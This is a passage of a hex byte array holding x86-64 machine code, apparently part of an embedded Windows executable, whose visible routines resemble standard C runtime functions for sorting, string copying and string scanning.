0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0xb1, 0x00, 0x12, 0x00, 0x00, 0x48, - 0x8b, 0xd9, 0x48, 0x8b, 0xf9, 0x48, 0x3b, 0xce, 0x74, 0x12, 0x48, 0x8b, - 0xcf, 0xff, 0x15, 0xd1, 0x4a, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x48, 0x48, - 0x3b, 0xfe, 0x75, 0xee, 0x48, 0x8b, 0xcb, 0xe8, 0x1c, 0x97, 0xff, 0xff, - 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x41, 0x57, 0x48, 0x83, 0xec, - 0x30, 0x8b, 0xf1, 0x81, 0xf9, 0x00, 0x20, 0x00, 0x00, 0x72, 0x29, 0xe8, - 0xc8, 0x96, 0xff, 0xff, 0xbb, 0x09, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, - 0x9c, 0x95, 0xff, 0xff, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, - 0x8b, 0x74, 0x24, 0x48, 0x48, 0x8b, 0x7c, 0x24, 0x50, 0x48, 0x83, 0xc4, - 0x30, 0x41, 0x5f, 0xc3, 0x33, 0xff, 0x8d, 0x4f, 0x07, 0xe8, 0x8e, 0xb7, - 0xff, 0xff, 0x90, 0x8b, 0xdf, 0x8b, 0x05, 0x35, 0x11, 0x01, 0x00, 0x48, - 0x89, 0x5c, 0x24, 0x20, 0x3b, 0xf0, 0x7c, 0x36, 0x4c, 0x8d, 0x3d, 0x25, - 0x0d, 0x01, 0x00, 0x49, 0x39, 0x3c, 0xdf, 0x74, 0x02, 0xeb, 0x22, 0xe8, - 0x90, 0xfe, 0xff, 0xff, 0x49, 0x89, 0x04, 0xdf, 0x48, 0x85, 0xc0, 0x75, - 0x05, 0x8d, 0x78, 0x0c, 0xeb, 0x14, 0x8b, 0x05, 0x04, 0x11, 0x01, 0x00, - 0x83, 0xc0, 0x40, 0x89, 0x05, 0xfb, 0x10, 0x01, 0x00, 0x48, 0xff, 0xc3, - 0xeb, 0xc1, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8, 0x90, 0xb7, 0xff, 0xff, - 0x8b, 0xc7, 0xeb, 0x8a, 0x48, 0x63, 0xd1, 0x4c, 0x8d, 0x05, 0xde, 0x0c, - 0x01, 0x00, 0x48, 0x8b, 0xc2, 0x83, 0xe2, 0x3f, 0x48, 0xc1, 0xf8, 0x06, - 0x48, 0x8d, 0x0c, 0xd2, 0x49, 0x8b, 0x04, 0xc0, 0x48, 0x8d, 0x0c, 0xc8, - 0x48, 0xff, 0x25, 0xd1, 0x49, 0x00, 0x00, 0xcc, 0x48, 0x63, 0xd1, 0x4c, - 0x8d, 0x05, 0xb6, 0x0c, 0x01, 0x00, 0x48, 0x8b, 0xc2, 0x83, 0xe2, 0x3f, - 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0c, 0xd2, 0x49, 0x8b, 0x04, 0xc0, - 0x48, 0x8d, 0x0c, 0xc8, 0x48, 0xff, 0x25, 0xb1, 0x49, 0x00, 0x00, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, - 0x7c, 0x24, 0x18, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x63, 0xd9, - 0x85, 0xc9, 0x78, 0x72, 0x3b, 0x1d, 0x76, 0x10, 0x01, 0x00, 0x73, 0x6a, - 0x48, 0x8b, 0xc3, 0x4c, 0x8d, 0x35, 0x6a, 0x0c, 0x01, 0x00, 0x83, 0xe0, - 0x3f, 0x48, 0x8b, 0xf3, 0x48, 0xc1, 0xfe, 0x06, 0x48, 0x8d, 0x3c, 0xc0, - 0x49, 0x8b, 0x04, 0xf6, 0xf6, 0x44, 0xf8, 0x38, 0x01, 0x74, 0x47, 0x48, - 0x83, 0x7c, 0xf8, 0x28, 0xff, 0x74, 0x3f, 0xe8, 0x68, 0x2b, 0x00, 0x00, - 0x83, 0xf8, 0x01, 0x75, 0x27, 0x85, 0xdb, 0x74, 0x16, 0x2b, 0xd8, 0x74, - 0x0b, 0x3b, 0xd8, 0x75, 0x1b, 0xb9, 0xf4, 0xff, 0xff, 0xff, 0xeb, 0x0c, - 0xb9, 0xf5, 0xff, 0xff, 0xff, 0xeb, 0x05, 0xb9, 0xf6, 0xff, 0xff, 0xff, - 0x33, 0xd2, 0xff, 0x15, 0x70, 0x48, 0x00, 0x00, 0x49, 0x8b, 0x04, 0xf6, - 0x48, 0x83, 0x4c, 0xf8, 0x28, 0xff, 0x33, 0xc0, 0xeb, 0x16, 0xe8, 0x61, - 0x95, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe8, 0x36, 0x95, - 0xff, 0xff, 0x83, 0x20, 0x00, 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x5c, 0x24, - 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x40, 0x48, - 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x83, 0xf9, 0xfe, 0x75, 0x15, 0xe8, 0x0a, 0x95, 0xff, 0xff, 0x83, 0x20, - 0x00, 0xe8, 0x22, 0x95, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, - 0xeb, 0x4e, 0x85, 0xc9, 0x78, 0x32, 0x3b, 0x0d, 0xb4, 0x0f, 0x01, 0x00, - 0x73, 0x2a, 0x48, 0x63, 0xc9, 0x4c, 0x8d, 0x05, 0xa8, 0x0b, 0x01, 0x00, - 0x48, 0x8b, 0xc1, 0x83, 0xe1, 0x3f, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, - 0x14, 0xc9, 0x49, 0x8b, 0x04, 0xc0, 0xf6, 0x44, 0xd0, 0x38, 0x01, 0x74, - 0x07, 0x48, 0x8b, 0x44, 0xd0, 0x28, 0xeb, 0x1c, 0xe8, 0xbf, 0x94, 0xff, - 0xff, 0x83, 0x20, 0x00, 0xe8, 0xd7, 0x94, 0xff, 0xff, 0xc7, 0x00, 0x09, - 0x00, 0x00, 0x00, 0xe8, 0xac, 0x93, 0xff, 0xff, 0x48, 0x83, 0xc8, 0xff, - 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xf1, 0x48, - 0x85, 0xc9, 0x74, 0x74, 0x33, 0xdb, 0x4c, 0x8d, 0x3d, 0xeb, 0x26, 0xff, - 0xff, 0xbf, 0xe3, 0x00, 0x00, 0x00, 0x8d, 0x04, 0x1f, 0x41, 0xb8, 0x55, - 0x00, 0x00, 0x00, 0x99, 0x49, 0x8b, 0xce, 0x2b, 0xc2, 0xd1, 0xf8, 0x48, - 0x63, 0xe8, 0x48, 0x8b, 0xd5, 0x48, 0x8b, 0xf5, 0x48, 0x03, 0xd2, 0x49, - 0x8b, 0x94, 0xd7, 0x30, 0x72, 0x01, 0x00, 0xe8, 0xe4, 0x29, 0x00, 0x00, - 0x85, 0xc0, 0x74, 0x13, 0x79, 0x05, 0x8d, 0x7d, 0xff, 0xeb, 0x03, 0x8d, - 0x5d, 0x01, 0x3b, 0xdf, 0x7e, 0xc4, 0x83, 0xc8, 0xff, 0xeb, 0x0b, 0x48, - 0x03, 0xf6, 0x41, 0x8b, 0x84, 0xf7, 0x38, 0x72, 0x01, 0x00, 0x85, 0xc0, - 0x78, 0x16, 0x3d, 0xe4, 0x00, 0x00, 0x00, 0x73, 0x0f, 0x48, 0x98, 0x48, - 0x03, 0xc0, 0x41, 0x8b, 0x84, 0xc7, 0xd0, 0x57, 0x01, 0x00, 0xeb, 0x02, - 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, - 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, - 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x41, 0x54, 0x41, 0x55, - 0x41, 0x56, 0x48, 0x81, 0xec, 0x50, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x05, - 0x54, 0xf6, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x84, 0x24, 0x10, - 0x04, 0x00, 0x00, 0x4d, 0x8b, 0xe1, 0x4d, 0x8b, 0xf0, 0x4c, 0x8b, 0xe9, - 0x48, 0x85, 0xc9, 0x75, 0x1a, 0x48, 0x85, 0xd2, 0x74, 0x15, 0xe8, 0xd5, - 0x93, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0xaa, 0x92, - 0xff, 0xff, 0xe9, 0x38, 0x03, 0x00, 0x00, 0x4d, 0x85, 0xf6, 0x74, 0xe6, - 0x4d, 0x85, 0xe4, 0x74, 0xe1, 0x48, 0x83, 0xfa, 0x02, 0x0f, 0x82, 0x24, - 0x03, 0x00, 0x00, 0x48, 0x89, 0x9c, 0x24, 0x48, 0x04, 0x00, 0x00, 0x48, - 0x89, 0xac, 0x24, 0x40, 0x04, 0x00, 0x00, 0x48, 0x89, 0xb4, 0x24, 0x38, - 0x04, 0x00, 0x00, 0x48, 0x89, 0xbc, 0x24, 0x30, 0x04, 0x00, 0x00, 0x4c, - 0x89, 0xbc, 0x24, 0x28, 0x04, 0x00, 0x00, 0x4c, 0x8d, 0x7a, 0xff, 0x4d, - 0x0f, 0xaf, 0xfe, 0x4c, 0x03, 0xf9, 0x33, 0xc9, 0x48, 0x89, 0x4c, 0x24, - 0x20, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x33, 0xd2, 0x49, 0x8b, 0xc7, 0x49, 0x2b, 0xc5, 0x49, 0xf7, 0xf6, 0x48, - 0x8d, 0x58, 0x01, 0x48, 0x83, 0xfb, 0x08, 0x0f, 0x87, 0x8b, 0x00, 0x00, - 0x00, 0x4d, 0x3b, 0xfd, 0x76, 0x65, 0x4b, 0x8d, 0x34, 0x2e, 0x49, 0x8b, - 0xdd, 0x48, 0x8b, 0xfe, 0x49, 0x3b, 0xf7, 0x77, 0x20, 0x0f, 0x1f, 0x00, - 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0x89, - 0x48, 0x00, 0x00, 0x85, 0xc0, 0x48, 0x0f, 0x4f, 0xdf, 0x49, 0x03, 0xfe, - 0x49, 0x3b, 0xff, 0x76, 0xe3, 0x4d, 0x8b, 0xc6, 0x49, 0x8b, 0xd7, 0x49, - 0x3b, 0xdf, 0x74, 0x1e, 0x49, 0x2b, 0xdf, 0x0f, 0x1f, 0x44, 0x00, 0x00, - 0x0f, 0xb6, 0x02, 0x0f, 0xb6, 0x0c, 0x13, 0x88, 0x04, 0x13, 0x88, 0x0a, - 0x48, 0x8d, 0x52, 0x01, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xea, 0x4d, 0x2b, - 0xfe, 0x4d, 0x3b, 0xfd, 0x77, 0xa4, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x48, - 0x83, 0xe9, 0x01, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x0f, 0x88, 0x25, 0x02, - 0x00, 0x00, 0x4c, 0x8b, 0x6c, 0xcc, 0x30, 0x4c, 0x8b, 0xbc, 0xcc, 0x20, - 0x02, 0x00, 0x00, 0xe9, 0x5c, 0xff, 0xff, 0xff, 0x48, 0xd1, 0xeb, 0x49, - 0x8b, 0xcd, 0x49, 0x0f, 0xaf, 0xde, 0x49, 0x8b, 0xc4, 0x4a, 0x8d, 0x34, - 0x2b, 0x48, 0x8b, 0xd6, 0xff, 0x15, 0x0a, 0x48, 0x00, 0x00, 0x85, 0xc0, - 0x7e, 0x29, 0x4d, 0x8b, 0xce, 0x4c, 0x8b, 0xc6, 0x4c, 0x3b, 0xee, 0x74, - 0x1e, 0x0f, 0x1f, 0x00, 0x41, 0x0f, 0xb6, 0x00, 0x49, 0x8b, 0xd0, 0x48, - 0x2b, 0xd3, 0x0f, 0xb6, 0x0a, 0x88, 0x02, 0x41, 0x88, 0x08, 0x49, 0xff, - 0xc0, 0x49, 0x83, 0xe9, 0x01, 0x75, 0xe5, 0x49, 0x8b, 0xd7, 0x49, 0x8b, - 0xcd, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0xce, 0x47, 0x00, 0x00, 0x85, 0xc0, - 0x7e, 0x2a, 0x4d, 0x8b, 0xc6, 0x49, 0x8b, 0xd7, 0x4d, 0x3b, 0xef, 0x74, - 0x1f, 0x4d, 0x8b, 0xcd, 0x4d, 0x2b, 0xcf, 0x90, 0x0f, 0xb6, 0x02, 0x41, - 0x0f, 0xb6, 0x0c, 0x11, 0x41, 0x88, 0x04, 0x11, 0x88, 0x0a, 0x48, 0x8d, - 0x52, 0x01, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xe8, 0x49, 0x8b, 0xd7, 0x48, - 0x8b, 0xce, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0x91, 0x47, 0x00, 0x00, 0x85, - 0xc0, 0x7e, 0x2d, 0x4d, 0x8b, 0xc6, 0x49, 0x8b, 0xd7, 0x49, 0x3b, 0xf7, - 0x74, 0x22, 0x4c, 0x8b, 0xce, 0x4d, 0x2b, 0xcf, 0x0f, 0x1f, 0x40, 0x00, - 0x0f, 0xb6, 0x02, 0x41, 0x0f, 0xb6, 0x0c, 0x11, 0x41, 0x88, 0x04, 0x11, - 0x88, 0x0a, 0x48, 0x8d, 0x52, 0x01, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xe8, - 0x49, 0x8b, 0xdd, 0x49, 0x8b, 0xff, 0x66, 0x90, 0x48, 0x3b, 0xf3, 0x76, - 0x1d, 0x49, 0x03, 0xde, 0x48, 0x3b, 0xde, 0x73, 0x15, 0x48, 0x8b, 0xd6, - 0x48, 0x8b, 0xcb, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0x3c, 0x47, 0x00, 0x00, - 0x85, 0xc0, 0x7e, 0xe5, 0xeb, 0x1e, 0x49, 0x03, 0xde, 0x49, 0x3b, 0xdf, - 0x77, 0x16, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcb, 0x49, 0x8b, 0xc4, 0xff, - 0x15, 0x1f, 0x47, 0x00, 0x00, 0x85, 0xc0, 0x7e, 0xe5, 0x0f, 0x1f, 0x00, - 0x48, 0x8b, 0xef, 0x49, 0x2b, 0xfe, 0x48, 0x3b, 0xfe, 0x76, 0x13, 0x48, - 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0xfe, 0x46, - 0x00, 0x00, 0x85, 0xc0, 0x7f, 0xe2, 0x48, 0x3b, 0xfb, 0x72, 0x38, 0x4d, - 0x8b, 0xc6, 0x48, 0x8b, 0xd7, 0x74, 0x1e, 0x4c, 0x8b, 0xcb, 0x4c, 0x2b, - 0xcf, 0x0f, 0xb6, 0x02, 0x41, 0x0f, 0xb6, 0x0c, 0x11, 0x41, 0x88, 0x04, - 0x11, 0x88, 0x0a, 0x48, 0x8d, 0x52, 0x01, 0x49, 0x83, 0xe8, 0x01, 0x75, - 0xe8, 0x48, 0x3b, 0xf7, 0x48, 0x8b, 0xc3, 0x48, 0x0f, 0x45, 0xc6, 0x48, - 0x8b, 0xf0, 0xe9, 0x65, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf5, 0x73, 0x20, - 0x49, 0x2b, 0xee, 0x48, 0x3b, 0xee, 0x76, 0x18, 0x48, 0x8b, 0xd6, 0x48, - 0x8b, 0xcd, 0x49, 0x8b, 0xc4, 0xff, 0x15, 0xa1, 0x46, 0x00, 0x00, 0x85, - 0xc0, 0x74, 0xe5, 0xeb, 0x1e, 0x0f, 0x1f, 0x00, 0x49, 0x2b, 0xee, 0x49, - 0x3b, 0xed, 0x76, 0x13, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcd, 0x49, 0x8b, - 0xc4, 0xff, 0x15, 0x81, 0x46, 0x00, 0x00, 0x85, 0xc0, 0x74, 0xe5, 0x49, - 0x8b, 0xcf, 0x48, 0x8b, 0xc5, 0x48, 0x2b, 0xcb, 0x49, 0x2b, 0xc5, 0x48, - 0x3b, 0xc1, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x7c, 0x2b, 0x4c, 0x3b, 0xed, - 0x73, 0x15, 0x4c, 0x89, 0x6c, 0xcc, 0x30, 0x48, 0x89, 0xac, 0xcc, 0x20, - 0x02, 0x00, 0x00, 0x48, 0xff, 0xc1, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x49, - 0x3b, 0xdf, 0x0f, 0x83, 0xff, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xeb, 0xe9, - 0x74, 0xfd, 0xff, 0xff, 0x49, 0x3b, 0xdf, 0x73, 0x15, 0x48, 0x89, 0x5c, - 0xcc, 0x30, 0x4c, 0x89, 0xbc, 0xcc, 0x20, 0x02, 0x00, 0x00, 0x48, 0xff, - 0xc1, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x4c, 0x3b, 0xed, 0x0f, 0x83, 0xd4, - 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0xfd, 0xe9, 0x49, 0xfd, 0xff, 0xff, 0x48, - 0x8b, 0xbc, 0x24, 0x30, 0x04, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0x38, - 0x04, 0x00, 0x00, 0x48, 0x8b, 0xac, 0x24, 0x40, 0x04, 0x00, 0x00, 0x48, - 0x8b, 0x9c, 0x24, 0x48, 0x04, 0x00, 0x00, 0x4c, 0x8b, 0xbc, 0x24, 0x28, - 0x04, 0x00, 0x00, 0x48, 0x8b, 0x8c, 0x24, 0x10, 0x04, 0x00, 0x00, 0x48, - 0x33, 0xcc, 0xe8, 0x51, 0x3c, 0xff, 0xff, 0x48, 0x81, 0xc4, 0x50, 0x04, - 0x00, 0x00, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x45, 0x33, - 0xd2, 0x49, 0x8b, 0xd8, 0x4c, 0x8b, 0xda, 0x4d, 0x85, 0xc9, 0x75, 0x2c, - 0x48, 0x85, 0xc9, 0x75, 0x2c, 0x48, 0x85, 0xd2, 0x74, 0x14, 0xe8, 0x45, - 0x90, 0xff, 0xff, 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0x19, - 0x8f, 0xff, 0xff, 0x44, 0x8b, 0xd3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x41, - 0x8b, 0xc2, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x85, 0xc9, 0x74, - 0xd9, 0x4d, 0x85, 0xdb, 0x74, 0xd4, 0x4d, 0x85, 0xc9, 0x75, 0x05, 0x44, - 0x88, 0x11, 0xeb, 0xde, 0x48, 0x85, 0xdb, 0x75, 0x05, 0x44, 0x88, 0x11, - 0xeb, 0xc0, 0x48, 0x2b, 0xd9, 0x48, 0x8b, 0xd1, 0x4d, 0x8b, 0xc3, 0x49, - 0x8b, 0xf9, 0x49, 0x83, 0xf9, 0xff, 0x75, 0x14, 0x8a, 0x04, 0x13, 0x88, - 0x02, 0x48, 0xff, 0xc2, 0x84, 0xc0, 0x74, 0x28, 0x49, 0x83, 0xe8, 0x01, - 0x75, 0xee, 0xeb, 0x20, 0x8a, 0x04, 0x13, 0x88, 0x02, 0x48, 0xff, 0xc2, - 0x84, 0xc0, 0x74, 0x0c, 0x49, 0x83, 0xe8, 0x01, 0x74, 0x06, 0x48, 0x83, - 0xef, 0x01, 0x75, 0xe8, 0x48, 0x85, 0xff, 0x75, 0x03, 0x44, 0x88, 0x12, - 0x4d, 0x85, 0xc0, 0x75, 0x89, 0x49, 0x83, 0xf9, 0xff, 0x75, 0x0e, 0x46, - 0x88, 0x54, 0x19, 0xff, 0x45, 0x8d, 0x50, 0x50, 0xe9, 0x75, 0xff, 0xff, - 0xff, 0x44, 0x88, 0x11, 0xe8, 0xa3, 0x8f, 0xff, 0xff, 0xbb, 0x22, 0x00, - 0x00, 0x00, 0xe9, 0x59, 0xff, 0xff, 0xff, 0xcc, 0x48, 0x83, 0xec, 0x58, - 0x48, 0x8b, 0x05, 0xe9, 0xf1, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, - 0x44, 0x24, 0x40, 0x33, 0xc0, 0x4c, 0x8b, 0xca, 0x48, 0x83, 0xf8, 0x20, - 0x4c, 0x8b, 0xc1, 0x73, 0x77, 0xc6, 0x44, 0x04, 0x20, 0x00, 0x48, 0xff, - 0xc0, 0x48, 0x83, 0xf8, 0x20, 0x7c, 0xf0, 0x8a, 0x02, 0xeb, 0x1f, 0x0f, - 0xb6, 0xd0, 0x48, 0xc1, 0xea, 0x03, 0x0f, 0xb6, 0xc0, 0x83, 0xe0, 0x07, - 0x0f, 0xb6, 0x4c, 0x14, 0x20, 0x0f, 0xab, 0xc1, 0x49, 0xff, 0xc1, 0x88, - 0x4c, 0x14, 0x20, 0x41, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xdd, 0xeb, 0x1f, - 0x41, 0x0f, 0xb6, 0xc1, 0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0x0f, 0xb6, - 0xc9, 0x83, 0xe1, 0x07, 0x48, 0xc1, 0xe8, 0x03, 0xd3, 0xe2, 0x84, 0x54, - 0x04, 0x20, 0x75, 0x1f, 0x49, 0xff, 0xc0, 0x45, 0x8a, 0x08, 0x45, 0x84, - 0xc9, 0x75, 0xd9, 0x33, 0xc0, 0x48, 0x8b, 0x4c, 0x24, 0x40, 0x48, 0x33, - 0xcc, 0xe8, 0xde, 0x3a, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x49, - 0x8b, 0xc0, 0xeb, 0xe9, 0xe8, 0x57, 0x3f, 0xff, 0xff, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x4c, - 0x8b, 0xd2, 0x48, 0x8d, 0x35, 0x2b, 0x21, 0xff, 0xff, 0x41, 0x83, 0xe2, - 0x0f, 0x48, 0x8b, 0xfa, 0x49, 0x2b, 0xfa, 0x48, 0x8b, 0xda, 0x4c, 0x8b, - 0xc1, 0x0f, 0x57, 0xdb, 0x49, 0x8d, 0x42, 0xff, 0xf3, 0x0f, 0x6f, 0x0f, - 0x48, 0x83, 0xf8, 0x0e, 0x77, 0x73, 0x8b, 0x84, 0x86, 0xcc, 0xe1, 0x00, - 0x00, 0x48, 0x03, 0xc6, 0xff, 0xe0, 0x66, 0x0f, 0x73, 0xd9, 0x01, 0xeb, - 0x60, 0x66, 0x0f, 0x73, 0xd9, 0x02, 0xeb, 0x59, 0x66, 0x0f, 0x73, 0xd9, - 0x03, 0xeb, 0x52, 0x66, 0x0f, 0x73, 0xd9, 0x04, 0xeb, 0x4b, 0x66, 0x0f, - 0x73, 0xd9, 0x05, 0xeb, 0x44, 0x66, 0x0f, 0x73, 0xd9, 0x06, 0xeb, 0x3d, - 0x66, 0x0f, 0x73, 0xd9, 0x07, 0xeb, 0x36, 0x66, 0x0f, 0x73, 0xd9, 0x08, - 0xeb, 0x2f, 0x66, 0x0f, 0x73, 0xd9, 0x09, 0xeb, 0x28, 0x66, 0x0f, 0x73, - 0xd9, 0x0a, 0xeb, 0x21, 0x66, 0x0f, 0x73, 0xd9, 0x0b, 0xeb, 0x1a, 0x66, - 0x0f, 0x73, 0xd9, 0x0c, 0xeb, 0x13, 0x66, 0x0f, 0x73, 0xd9, 0x0d, 0xeb, - 0x0c, 0x66, 0x0f, 0x73, 0xd9, 0x0e, 0xeb, 0x05, 0x66, 0x0f, 0x73, 0xd9, - 0x0f, 0x0f, 0x57, 0xc0, 0x41, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0x66, 0x0f, - 0x74, 0xc1, 0x66, 0x0f, 0xd7, 0xc0, 0x85, 0xc0, 0x0f, 0x84, 0x33, 0x01, - 0x00, 0x00, 0x0f, 0xbc, 0xd0, 0x4d, 0x85, 0xd2, 0x75, 0x06, 0x45, 0x8d, - 0x59, 0xf2, 0xeb, 0x14, 0x45, 0x33, 0xdb, 0x8b, 0xc2, 0xb9, 0x10, 0x00, - 0x00, 0x00, 0x49, 0x2b, 0xca, 0x48, 0x3b, 0xc1, 0x41, 0x0f, 0x92, 0xc3, - 0x41, 0x8b, 0xc1, 0x2b, 0xc2, 0x41, 0x3b, 0xc1, 0x0f, 0x87, 0xcf, 0x00, - 0x00, 0x00, 0x8b, 0x8c, 0x86, 0x08, 0xe2, 0x00, 0x00, 0x48, 0x03, 0xce, - 0xff, 0xe1, 0x66, 0x0f, 0x73, 0xf9, 0x01, 0x66, 0x0f, 0x73, 0xd9, 0x01, - 0xe9, 0xb4, 0x00, 0x00, 0x00, 0x66, 0x0f, 0x73, 0xf9, 0x02, 0x66, 0x0f, - 0x73, 0xd9, 0x02, 0xe9, 0xa5, 0x00, 0x00, 0x00, 0x66, 0x0f, 0x73, 0xf9, - 0x03, 0x66, 0x0f, 0x73, 0xd9, 0x03, 0xe9, 0x96, 0x00, 0x00, 0x00, 0x66, - 0x0f, 0x73, 0xf9, 0x04, 0x66, 0x0f, 0x73, 0xd9, 0x04, 0xe9, 0x87, 0x00, - 0x00, 0x00, 0x66, 0x0f, 0x73, 0xf9, 0x05, 0x66, 0x0f, 0x73, 0xd9, 0x05, - 0xeb, 0x7b, 0x66, 0x0f, 0x73, 0xf9, 0x06, 0x66, 0x0f, 0x73, 0xd9, 0x06, - 0xeb, 0x6f, 0x66, 0x0f, 0x73, 0xf9, 0x07, 0x66, 0x0f, 0x73, 0xd9, 0x07, - 0xeb, 0x63, 0x66, 0x0f, 0x73, 0xf9, 0x08, 0x66, 0x0f, 0x73, 0xd9, 0x08, - 0xeb, 0x57, 0x66, 0x0f, 0x73, 0xf9, 0x09, 0x66, 0x0f, 0x73, 0xd9, 0x09, - 0xeb, 0x4b, 0x66, 0x0f, 0x73, 0xf9, 0x0a, 0x66, 0x0f, 0x73, 0xd9, 0x0a, - 0xeb, 0x3f, 0x66, 0x0f, 0x73, 0xf9, 0x0b, 0x66, 0x0f, 0x73, 0xd9, 0x0b, - 0xeb, 0x33, 0x66, 0x0f, 0x73, 0xf9, 0x0c, 0x66, 0x0f, 0x73, 0xd9, 0x0c, - 0xeb, 0x27, 0x66, 0x0f, 0x73, 0xf9, 0x0d, 0x66, 0x0f, 0x73, 0xd9, 0x0d, - 0xeb, 0x1b, 0x66, 0x0f, 0x73, 0xf9, 0x0e, 0x66, 0x0f, 0x73, 0xd9, 0x0e, - 0xeb, 0x0f, 0x66, 0x0f, 0x73, 0xf9, 0x0f, 0x66, 0x0f, 0x73, 0xd9, 0x0f, - 0xeb, 0x03, 0x0f, 0x57, 0xc9, 0x45, 0x85, 0xdb, 0x0f, 0x85, 0xe6, 0x00, - 0x00, 0x00, 0xf3, 0x0f, 0x6f, 0x57, 0x10, 0x66, 0x0f, 0x6f, 0xc2, 0x66, - 0x0f, 0x74, 0xc3, 0x66, 0x0f, 0xd7, 0xc0, 0x85, 0xc0, 0x75, 0x35, 0x48, - 0x8b, 0xd3, 0x49, 0x8b, 0xc8, 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x48, 0x8b, - 0x74, 0x24, 0x18, 0x5f, 0xe9, 0x5f, 0xfd, 0xff, 0xff, 0x4d, 0x85, 0xd2, - 0x75, 0xd0, 0x44, 0x38, 0x57, 0x01, 0x0f, 0x84, 0xac, 0x00, 0x00, 0x00, - 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x5f, 0xe9, - 0x40, 0xfd, 0xff, 0xff, 0x0f, 0xbc, 0xc8, 0x8b, 0xc1, 0x49, 0x2b, 0xc2, - 0x48, 0x83, 0xc0, 0x10, 0x48, 0x83, 0xf8, 0x10, 0x77, 0xb9, 0x44, 0x2b, - 0xc9, 0x41, 0x83, 0xf9, 0x0f, 0x77, 0x79, 0x42, 0x8b, 0x8c, 0x8e, 0x48, - 0xe2, 0x00, 0x00, 0x48, 0x03, 0xce, 0xff, 0xe1, 0x66, 0x0f, 0x73, 0xfa, - 0x01, 0xeb, 0x65, 0x66, 0x0f, 0x73, 0xfa, 0x02, 0xeb, 0x5e, 0x66, 0x0f, - 0x73, 0xfa, 0x03, 0xeb, 0x57, 0x66, 0x0f, 0x73, 0xfa, 0x04, 0xeb, 0x50, 